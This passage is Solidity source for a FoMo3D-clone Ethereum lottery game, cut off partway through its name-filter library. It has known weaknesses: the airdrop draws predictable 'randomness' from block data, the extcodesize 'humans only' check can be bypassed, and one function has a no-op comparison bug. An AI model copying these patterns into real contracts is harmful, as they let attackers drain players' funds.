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pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DPLUS is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x454b6ee7e3847d51456b4146f7ae2664dbc35af4);
address private admin = msg.sender;
string constant public name = "FoMo3DPlus";
string constant public symbol = "F3DPlus";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 8 minutes;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 10 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
